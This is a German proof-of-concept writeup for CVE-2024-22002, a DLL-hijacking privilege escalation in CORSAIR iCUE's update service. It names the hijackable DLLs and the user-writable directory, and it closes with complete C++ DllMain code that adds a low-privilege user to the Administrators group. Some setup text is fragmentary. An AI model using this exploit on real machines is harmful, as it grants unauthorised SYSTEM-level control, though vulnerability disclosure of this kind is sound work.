
Proof-of-concept für eine lokale Privilegienausweitungs-Schwachstelle (CVE-2024-22002) in CORSAIR iCUE v5.9.105 durch DLL-Hijacking während des Update-Prozesses, die es unprivilegierten Benutzern ermöglicht, SYSTEM-Rechte zu erlangen.
Eine DLL-Hijacking-Schwachstelle wurde in iCUE v5.9.105 identifiziert. Diese Schwachstelle tritt während des Update-Prozesses auf, der vom Dienst "iCUEUpdateService" verwaltet wird. Der Dienst startet einen Prozess ("cuepkg.exe"), der für die Durchführung des Updates verantwortlich ist und mit "NT AUTHORITY\SYSTEM"-Berechtigungen läuft. Beim Starten des Prozesses sucht er in verschiedenen DLLs im Verzeichnis \cuepkg-1.2.6, das sich im iCUE-Installationsverzeichnis befindet. Einige dieser DLLs sind standardmäßig nicht vorhanden, aber da ein normaler Benutzer die Berechtigung hat, Dateien in diesem Verzeichnis zu erstellen, könnte ein Angreifer möglicherweise eine schädliche DLL in das Verzeichnis einbringen. Folglich würde diese schädliche DLL von cuepkg.exe mit Administratorrechten geladen werden.
Die erkannten betroffenen DLLs sind:
MSASN1.dllNTASN1.dllprofapi.dllCVSS-Vektor: (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
Als Beispiel wird die DLL profapi.dll verwendet.
%INSTALLDIR%cuepkg-1.2.6 hinzu.Berechtigungen des Benutzers lowpriv vor der Ausführung der schädlichen DLL:

Berechtigungen des Benutzers lowpriv nach der Ausführung der schädlichen DLL:

#include "pch.h"
#include <windows.h>
#include <cstdlib>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
{
system("net localgroup Administrators desktop-ckfiane\\lowpriv /add");
}
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}